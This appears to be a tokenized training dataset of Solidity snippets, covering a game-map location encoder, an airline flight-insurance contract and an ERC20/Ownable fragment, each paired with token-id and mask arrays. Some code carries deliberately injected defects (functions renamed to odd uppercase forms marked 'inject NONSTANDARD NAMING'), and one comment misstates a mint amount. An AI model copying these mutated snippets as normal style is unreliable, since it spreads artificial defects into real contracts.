_tokenId, int _x, int _y) public; } // Dependency file: @evolutionland/common/contracts/LocationCoder.sol // pragma solidity ^0.4.24; library LocationCoder { // the allocation of the [x, y, z] is [0<1>, x<21>, y<21>, z<21>] uint256 constant CLEAR_YZ = 0x0fffffffffffffffffffff000000000000000000000000000000000000000000; uint256 constant CLEAR_XZ = 0x0000000000000000000000fffffffffffffffffffff000000000000000000000; uint256 constant CLEAR_XY = 0x0000000000000000000000000000000000000000000fffffffffffffffffffff; uint256 constant NOT_ZERO = 0x1000000000000000000000000000000000000000000000000000000000000000; uint256 constant APPEND_HIGH = 0xfffffffffffffffffffffffffffffffffffffffffff000000000000000000000; uint256 constant MAX_LOCATION_ID = 0x2000000000000000000000000000000000000000000000000000000000000000; int256 constant HMETER_DECIMAL = 10 ** 8; // x, y, z should between -2^83 (-9671406556917033397649408) and 2^83 - 1 (9671406556917033397649407). int256 constant MIN_Location_XYZ = -9671406556917033397649408; int256 constant MAX_Location_XYZ = 9671406556917033397649407; // 96714065569170334.50000000 int256 constant MAX_HM_DECIMAL = 9671406556917033450000000; int256 constant MAX_HM = 96714065569170334; function encodeLocationIdXY(int _x, int _y) internal pure returns (uint result) { return encodeLocationId3D(_x, _y, 0); } function decodeLocationIdXY(uint _positionId) internal pure returns (int _x, int _y) { (_x, _y, ) = decodeLocationId3D(_positionId); } function encodeLocationId3D(int _x, int _y, int _z) internal pure returns (uint result) { return _unsafeEncodeLocationId3D(_x, _y, _z); } function _unsafeEncodeLocationId3D(int _x, int _y, int _z) internal pure returns (uint) { require(_x >= MIN_Location_XYZ && _x <= MAX_Location_XYZ, "Invalid value."); require(_y >= MIN_Location_XYZ && _y <= MAX_Location_XYZ, "Invalid value."); require(_z >= MIN_Location_XYZ && _z <= MAX_Location_XYZ, "Invalid value."); // uint256 constant FACTOR_2 = 0x1000000000000000000000000000000000000000000; // <16 ** 42> or <2 ** 168> // uint256 constant FACTOR = 0x1000000000000000000000; // <16 ** 21> or <2 ** 84> return ((uint(_x) << 168) & CLEAR_YZ) | (uint(_y << 84) & CLEAR_XZ) | (uint(_z) & CLEAR_XY) | NOT_ZERO; } function decodeLocationId3D(uint _positionId) internal pure returns (int, int, int) { return _unsafeDecodeLocationId3D(_positionId); } function _unsafeDecodeLocationId3D(uint _value) internal pure returns (int x, int y, int z) { require(_value >= NOT_ZERO && _value < MAX_LOCATION_ID, "Invalid Location Id"); x = expandNegative84BitCast((_value & CLEAR_YZ) >> 168); y = expandNegative84BitCast((_value & CLEAR_XZ) >> 84); z = expandNegative84BitCast(_value & CLEAR_XY); } function toHM(int _x) internal pure returns (int) { return (_x + MAX_HM_DECIMAL)/HMETER_DECIMAL - MAX_HM; } function toUM(int _x) internal pure returns (int) { return _x * LocationCoder.HMETER_DECIMAL; } function expandNegative84BitCast(uint _value) internal pure returns (int) { if (_value & (1<<83) != 0) { return int(_value | APPEND_HIGH); } return int(_value); } function encodeLocationIdHM(int _x, int _y) internal pure returns (uint result) { return encodeLocationIdXY(toUM(_x), toUM(_y)); } function decodeLocationIdHM(uint _positionId) internal pure returns (int, int) { (int _x, int _y) = decodeLocationIdXY(_positionId); return (toHM(_x), toHM(_y)); } } // Dependency file: @evolutionland/common/contracts/TokenLocation.sol // pragma solidity ^0.4.24; // import "@evolutionland/common/contracts/interfaces/ITokenLocation.sol"; // import "@evolutionland/common/contracts/DSAuth.sol"; // import "@evolutionland/common/contracts/LocationCoder.sol"; contract TokenLocation is DSAuth, ITokenLocation { using LocationCoder for *; bool private singletonLock = false; // token id => encode(x,y) postiion in map, the location is in micron. mapping (uint256 => uint256) public tokenId2LocationId; /* * Modifiers */ modifier singletonLockCall() { require(!singletonLock, "Only can call once"); _; singletonLock = true; } function initializeContract() public singletonLockCall { owner = msg.sender; emit LogSetOwner(msg.sender); } function hasLocation(uint256 _tokenId) public view returns (bool) { return tokenId2LocationId[_tokenId] != 0; } function getTokenLocationHM(uint256 _tokenId) public view returns (int, int){ (int _x, int _y) = getTokenLocation(_tokenId); return (LocationCoder.toHM(_x), LocationCoder.toHM(_y)); } function setTokenLocationHM(uint256 _tokenId, int _x, int _y) public auth { setTokenLocation(_tokenId, LocationCoder.toUM(_x), LocationCoder.toUM(_y)); } // decode tokenId to get (x,y) function getTokenLocation(uint256 _tokenId) public view returns (int, int) { uint locationId = tokenId2LocationId[_tokenId]; return LocationCoder.decodeLocationIdXY(locationId); } function setTokenLocation(uint256 _tokenId, int _x, int _y) public auth { tokenId2LocationId[_tokenId] = LocationCoder.encodeLocationIdXY(_x, _y); } } // Dependency file: @evolutionland/common/contracts/ObjectOwnershipAuthority.sol // pragma solidity ^0.4.24; contract ObjectOwnershipAuthority { mapping (address => bool) public whiteList; constructor(address[] _whitelists) public { for (uint i = 0; i < _whitelists.length; i ++) { whiteList[_whitelists[i]] = true; } } function canCall( address _src, address _dst, bytes4 _sig ) public view returns (bool) { return ( whiteList[_src] && _sig == bytes4(keccak256("mintObject(address,uint128)")) ) || ( whiteList[_src] && _sig == bytes4(keccak256("burnObject(address,uint128)")) ); } } // Dependency file: @evolutionland/common/contracts/TokenLocationAuthority.sol // pragma solidity ^0.4.24; contract TokenLocationAuthority { mapping (address => bool) public whiteList; constructor(address[] _whitelists) public { for (uint i = 0; i < _whitelists.length; i ++) { whiteList[_whitelists[i]] = true; } } function canCall( address _src, address _dst, bytes4 _sig ) public view returns (bool) { return ( whiteList[_src] && _sig == bytes4(keccak256("setTokenLocationHM(uint256,int256,int256)"))) ; } } // Root file: contracts/DeployAndTest.sol pragma solidity ^0.4.23; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/InterstellarEncoder.sol'; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/SettingsRegistry.sol'; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/SettingIds.sol'; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/StandardERC223.sol'; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/ObjectOwnership.sol'; // import "@evolutionland/upgraeability-using-unstructured-storage/contracts/OwnedUpgradeabilityProxy.sol"; // import "@evolutionland/common/contracts/TokenLocation.sol"; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/ObjectOwnershipAuthority.sol'; // import "@evolutionland/common/contracts/TokenLocationAuthority.sol"; contract DeployAndTest { }
uint256 constant FACTOR_2 = 0x1000000000000000000000000000000000000000000; <16 ** 42> or <2 ** 168> uint256 constant FACTOR = 0x1000000000000000000000; <16 ** 21> or <2 ** 84>
function _unsafeEncodeLocationId3D(int _x, int _y, int _z) internal pure returns (uint) { require(_x >= MIN_Location_XYZ && _x <= MAX_Location_XYZ, "Invalid value."); require(_y >= MIN_Location_XYZ && _y <= MAX_Location_XYZ, "Invalid value."); require(_z >= MIN_Location_XYZ && _z <= MAX_Location_XYZ, "Invalid value."); return ((uint(_x) << 168) & CLEAR_YZ) | (uint(_y << 84) & CLEAR_XZ) | (uint(_z) & CLEAR_XY) | NOT_ZERO; }
1,005,313
[ 1, 11890, 5034, 5381, 26724, 916, 67, 22, 273, 374, 92, 21, 12648, 12648, 12648, 12648, 2787, 9449, 31, 225, 411, 2313, 225, 14856, 34, 578, 411, 22, 225, 2872, 28, 34, 2254, 5034, 5381, 26724, 916, 273, 374, 92, 21, 12648, 12648, 11706, 31, 225, 411, 2313, 225, 9035, 34, 578, 411, 22, 225, 23421, 34, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 318, 4626, 5509, 28714, 23, 40, 12, 474, 389, 92, 16, 509, 389, 93, 16, 509, 389, 94, 13, 2713, 16618, 1135, 261, 11890, 13, 288, 203, 3639, 2583, 24899, 92, 1545, 6989, 67, 2735, 67, 23479, 597, 389, 92, 1648, 4552, 67, 2735, 67, 23479, 16, 315, 1941, 460, 1199, 1769, 203, 3639, 2583, 24899, 93, 1545, 6989, 67, 2735, 67, 23479, 597, 389, 93, 1648, 4552, 67, 2735, 67, 23479, 16, 315, 1941, 460, 1199, 1769, 203, 3639, 2583, 24899, 94, 1545, 6989, 67, 2735, 67, 23479, 597, 389, 94, 1648, 4552, 67, 2735, 67, 23479, 16, 315, 1941, 460, 1199, 1769, 203, 203, 3639, 327, 14015, 11890, 24899, 92, 13, 2296, 2872, 28, 13, 473, 385, 900, 985, 67, 61, 62, 13, 571, 261, 11890, 24899, 93, 2296, 23421, 13, 473, 385, 900, 985, 67, 60, 62, 13, 571, 261, 11890, 24899, 94, 13, 473, 385, 900, 985, 67, 8546, 13, 571, 4269, 67, 24968, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.8; import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract FlightSuretyData { using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ address private contractOwner; // Account used to deploy contract bool private operational = true; // Blocks all state changes throughout the contract if false uint256 private entrancyCounter; // Re-entrancy counter to prevent re-entrancy attack uint256 private totalAirlines; // total of actived airline mapping(address => uint256) private airlineFund; // Fund submit by airline mapping(address => Airline) private airlines; // mapping of all registered airlines mapping(bytes32 => Flight) private flights; // mapping of all registered flights mapping(address => uint256) private passengerCredits; // Credit relate to passengers mapping(address => uint256) private authorizedContracts; // Authorize contracts /********************************************************************************************/ /* STRUCTS && ENUMS */ /********************************************************************************************/ struct Airline { string name; // name of air line address payable airlineAddress; // airline address uint fund; // the fund airline submit AirlineState airlineState; // State of airline address[] approveAirlines; // airlines approve for this airline to be registered } enum AirlineState { Registering, Registered, Actived } struct Flight { string flight; bool isRegistered; uint8 statusCode; uint256 updatedTimestamp; address airline; bool isProcessed; address[] insurees; // customers who purchase insurance of this flight mapping(address => uint256) insuranceAmount; // insurance amount relate to each insuree } /********************************************************************************************/ /* CONSTRUCTORS */ /********************************************************************************************/ /** * @dev Constructor * The deploying account becomes contractOwner. */ constructor ( address payable airlineAddress, string memory airlineName ) public { contractOwner = msg.sender; // Init first airline and approve it _initFirstAirline(airlineAddress, airlineName); } /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ // The airline is registering. event Registering(address airline); // The airline has become registered. event Registered(address airline); // The airline has become actived. event Actived(address airline); // Flight is registed. event FlightRegistered(string flight, uint256 timestamp); // Customer buy insurance for this flight. event InsuranceBought(address airline, string flight, uint256 timestamp); // Flight is processed. event FlightProcessed(address airline, string flight, uint256 timestamp); // Credit payouts to insuree. event CreditPayout(address insuree, uint256 amount); /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ // Modifiers help avoid duplication of code. They are typically used to validate something // before a function is allowed to be executed. /** * @dev Modifier that requires the "operational" boolean variable to be "true" * This is used on all state changing functions to pause the contract in * the event there is an issue that needs to be fixed */ modifier requireIsOperational() { require(operational, "Contract is currently not operational"); _; // All modifiers require an "_" which indicates where the function body will be added } /** * @dev Modifier that requires the "ContractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } /** * @dev Require the caller is an authorized contract. */ modifier requireAuthorizedContract() { require(authorizedContracts[msg.sender] == 1, "The caller is not authorized"); _; } /** * @dev Modifier that stop re-entrancy from happen. */ modifier entrancyGuard() { entrancyCounter = entrancyCounter.add(1); uint256 guard = entrancyCounter; _; require(guard == entrancyCounter, "Re-entrancy is not allowed"); } /** * @dev Require the airline is new and has not ever on the queue. */ modifier requireNewAirline(address airline) { require(airlines[airline].airlineAddress == address(0), "The airline is already on the contract"); _; } /** * @dev Required the airline is registering. */ modifier requireRegisteringAirline(address airline) { require(airlines[airline].airlineState == AirlineState.Registering, "The airline is not registering"); _; } /** * @dev Required the caller is a registered airline. */ modifier requireRegisteredAirline() { require(airlines[msg.sender].airlineState == AirlineState.Registered, "The caller is not registered"); _; } /** * @dev Required the caller is an actived airline. */ modifier requireActivedAirline() { require(airlines[msg.sender].airlineState == AirlineState.Actived, "The caller is not actived"); _; } /** * @dev Require the caller has not ever approve this airline. */ modifier requireNewApproval(address airline) { bool duplicated = false; address[] memory approveAirlines = airlines[airline].approveAirlines; for(uint i = 0; i<approveAirlines.length; i++) if (approveAirlines[i] == msg.sender) { duplicated = true; break; } require(duplicated == false, "Duplicate approval found"); _; } /** * @dev Require the caller have enough sufficent fund of 10 ether */ modifier requireMin10Ether() { require(msg.value >= 10 ether, "Insufficient fund"); _; } /** * @dev Require the caller to submit up to 1 ether. */ modifier requireMax1Ether() { require(msg.value <= 1 ether, "Fund limit up to 1 ether"); _; } /** * Require the caller is new insuree for this flight. */ modifier requireNewBuyer(address airline, string memory flight, uint256 timestamp) { bytes32 key = _getFlightKey(airline, flight, timestamp); require(flights[key].insuranceAmount[msg.sender] == 0, "Flight insurance already bought"); _; } /** * Require the caller is new insuree for this flight. */ modifier requireFlightNotProcessed(address airline, string memory flight, uint256 timestamp) { bytes32 key = _getFlightKey(airline, flight, timestamp); require(flights[key].isProcessed == false, "Flight is already processed"); _; } /** * Require the passenger has positive credit to withdraw. */ modifier requirePositiveCredit() { require(passengerCredits[msg.sender] > 0, "The caller does not have positive credit"); _; } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ /** * @dev Get operating status of contract * @return A bool that is the current operating status */ function isOperational() public view returns(bool) { return operational; } /** * @dev Sets contract operations on/off * * When operational mode is disabled, all write transactions except for this one will fail */ function setOperatingStatus ( bool mode ) external requireContractOwner { operational = mode; } /** * @dev Initialize first airline when deploy the contract */ function _initFirstAirline ( address payable airlineAddress, string memory airlineName ) private { Airline memory airline; airline.airlineAddress = airlineAddress; airline.name = airlineName; airline.airlineState = AirlineState.Registered; airlines[airlineAddress] = airline; airlines[airlineAddress].approveAirlines.push(msg.sender); emit Registered(airlineAddress); } /** * @dev Taking parameter to init an airline object and add it to a queue. * */ function _initAirline ( address payable airlineAddress, string memory airlineName ) private { Airline memory airline; airline.airlineAddress = airlineAddress; airline.name = airlineName; airline.airlineState = AirlineState.Registering; airlines[airlineAddress] = airline; } /** * @dev Assess the registration of an airline. * If totalAirline is less than 5, the registration is approved, else, requires multi-party consensus of 50% of registered airlines. */ function _assessRegistration ( address airlineAddress ) private { if (totalAirlines <= 4 || airlines[airlineAddress].approveAirlines.length.mul(2) >= totalAirlines) { airlines[airlineAddress].airlineState = AirlineState.Registered; emit Registered(airlineAddress); } else emit Registering(airlineAddress); } /** * The caller approve registration of this airline. * Add the caller to approve list of this airline. */ function _approveAirline ( address airlineAddress ) private { airlines[airlineAddress].approveAirlines.push(msg.sender); } /** * @dev Create a unique bytes32 value from parameters. */ function _getFlightKey ( address airline, string memory flight, uint256 timestamp ) private pure returns(bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } /** * @dev Initialize and return flight object. */ function _initFlight ( address airline, string memory flightName, uint256 timestamp ) private pure returns (Flight memory flight) { flight.flight = flightName; flight.updatedTimestamp = timestamp; flight.airline = airline; flight.isRegistered = true; } /** * @dev Credits payouts to insurees in case airline fault. */ function _creditInsurees ( bytes32 key ) private { // Find insuree for this flight and credit them 1.5x address[] memory insurees = flights[key].insurees; for (uint i=0; i < insurees.length; i++) { uint256 amount = flights[key].insuranceAmount[insurees[i]]; uint256 credit = amount.mul(3).div(2); passengerCredits[insurees[i]] = passengerCredits[insurees[i]].add(credit); } } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev The contract owner authorize this caller. */ function authorizeCaller ( address contractAddress ) external requireIsOperational requireContractOwner { authorizedContracts[contractAddress] = 1; } /** * @dev The contract owner deauthorize this caller. */ function deauthorizedContract ( address contractAddress ) external requireIsOperational requireContractOwner { delete authorizedContracts[contractAddress]; } /** * @dev Check if an address is an airline. */ function isAirline ( address airline ) external view requireIsOperational returns(bool) { return airlines[airline].airlineAddress != address(0); } /** * @dev Add an airline to the registration queue * Can only be called from FlightSuretyApp contract */ function registerAirline ( address payable airlineAddress, string calldata airlineName ) external requireIsOperational requireNewAirline(airlineAddress) requireActivedAirline { _initAirline(airlineAddress, airlineName); _approveAirline(airlineAddress); _assessRegistration(airlineAddress); } /** * @dev The caller is an active airline approve registration of an airline. */ function approveRegistration ( address airline ) external requireIsOperational requireActivedAirline requireNewApproval(airline) { _approveAirline(airline); _assessRegistration(airline); } /** * @dev A registered airline submit the fund to become actived. * Check-Effect-Interaction and Re-entrancy Guard involved. */ function submitFund ( ) external payable requireIsOperational requireRegisteredAirline requireMin10Ether entrancyGuard { uint256 amountToReturn = msg.value.sub(10 ether); msg.sender.transfer(amountToReturn); airlineFund[msg.sender] = 10 ether; totalAirlines = totalAirlines.add(1); emit Actived(msg.sender); } /** * @dev An active airline register a flight. */ function registerFlight ( string calldata flightName, uint256 timestamp ) external requireIsOperational requireActivedAirline { bytes32 key = _getFlightKey(msg.sender, flightName, timestamp); Flight memory flight = _initFlight(msg.sender, flightName, timestamp); flights[key] = flight; emit FlightRegistered(flightName, timestamp); } /** * @dev Customer buy insurance for a flight. * Re-entrancy guard is implement. */ function buy ( address airline, string calldata flight, uint256 timestamp ) external payable requireIsOperational requireMax1Ether requireNewBuyer(airline, flight, timestamp) requireFlightNotProcessed(airline, flight, timestamp) entrancyGuard { bytes32 key = _getFlightKey(airline, flight, timestamp); flights[key].insurees.push(msg.sender); flights[key].insuranceAmount[msg.sender] = msg.value; emit InsuranceBought(airline, flight, timestamp); } /** * @dev Update flight status of the flight. */ function processFlightStatus ( address airline, string calldata flight, uint256 timestamp, uint8 statusCode, bool isAirlineFault // is flight late because of the airline fault ) external requireIsOperational requireFlightNotProcessed(airline, flight, timestamp) { bytes32 key = _getFlightKey(airline, flight, timestamp); flights[key].statusCode = statusCode; flights[key].isProcessed = true; if (isAirlineFault) _creditInsurees(key); emit FlightProcessed(airline, flight, timestamp); } /** * @dev Transfers eligible payout funds to insuree. * Re-entrancy Guard and Check-Effect-Interaction is applied. */ function pay ( ) external payable requireIsOperational requirePositiveCredit entrancyGuard { uint256 amount = passengerCredits[msg.sender]; passengerCredits[msg.sender] = 0; msg.sender.transfer(amount); emit CreditPayout(msg.sender, amount); } /** * @dev Initial funding for the insurance. Unless there are too many delayed flights * resulting in insurance payouts, the contract should be self-sustaining * */ function fund ( ) public payable { } /** * @dev Fallback function for funding smart contract. * */ function() external payable { fund(); } }
* @dev Add an airline to the registration queue Can only be called from FlightSuretyApp contract/
function registerAirline ( address payable airlineAddress, string calldata airlineName ) external requireIsOperational requireNewAirline(airlineAddress) requireActivedAirline { _initAirline(airlineAddress, airlineName); _approveAirline(airlineAddress); _assessRegistration(airlineAddress); }
12,776,805
[ 1, 986, 392, 23350, 1369, 358, 326, 7914, 2389, 4480, 1338, 506, 2566, 628, 3857, 750, 55, 594, 4098, 3371, 6835, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1744, 29752, 1369, 203, 565, 261, 203, 3639, 1758, 8843, 429, 23350, 1369, 1887, 16, 203, 3639, 533, 745, 892, 23350, 1369, 461, 203, 565, 262, 203, 565, 3903, 203, 565, 2583, 2520, 2988, 287, 203, 565, 2583, 1908, 29752, 1369, 12, 1826, 1369, 1887, 13, 203, 565, 2583, 2459, 2950, 29752, 1369, 203, 565, 288, 203, 3639, 389, 2738, 29752, 1369, 12, 1826, 1369, 1887, 16, 23350, 1369, 461, 1769, 203, 3639, 389, 12908, 537, 29752, 1369, 12, 1826, 1369, 1887, 1769, 203, 3639, 389, 428, 403, 7843, 12, 1826, 1369, 1887, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x55c17b46A1BDd53A5585Fc15FD747e11290DCC00/sources/Implementation.sol
100 DSD to committer
mintToAccount(0x937c7D4829d8a39b4003e518c1bcf1BCAAC53909, 10800e18);
5,201,726
[ 1, 6625, 8678, 40, 358, 3294, 387, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 312, 474, 774, 3032, 12, 20, 92, 29, 6418, 71, 27, 40, 8875, 5540, 72, 28, 69, 5520, 70, 16010, 23, 73, 25, 2643, 71, 21, 70, 8522, 21, 38, 3587, 2226, 25, 5520, 5908, 16, 1728, 17374, 73, 2643, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.7; library SafeMath { function ADD107(uint256 a, uint256 b) internal pure returns (uint256 c) { //inject NONSTANDARD NAMING c = a + b; assert(c >= a); return c; } function SUB463(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING assert(b <= a); return a - b; } function MUL691(uint256 a, uint256 b) internal pure returns (uint256 c) { //inject NONSTANDARD NAMING if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function DIV78(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return a / b; } function MOD635(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0); return a % b; } } interface IERC20{ function NAME279() external view returns (string memory); //inject NONSTANDARD NAMING function SYMBOL160() external view returns (string memory); //inject NONSTANDARD NAMING function DECIMALS981() external view returns (uint256); //inject NONSTANDARD NAMING function TOTALSUPPLY34() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF441(address owner) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER28(address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM551(address from, address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function APPROVE505(address spender, uint256 value) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE331(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING event TRANSFER884(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL336(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } contract Ownable { address internal _owner; event OWNERSHIPTRANSFERRED839(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () internal { _owner = msg.sender; emit OWNERSHIPTRANSFERRED839(address(0), _owner); } function OWNER665() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER540() { //inject NONSTANDARD NAMING require(msg.sender == _owner); _; } function TRANSFEROWNERSHIP744(address newOwner) external 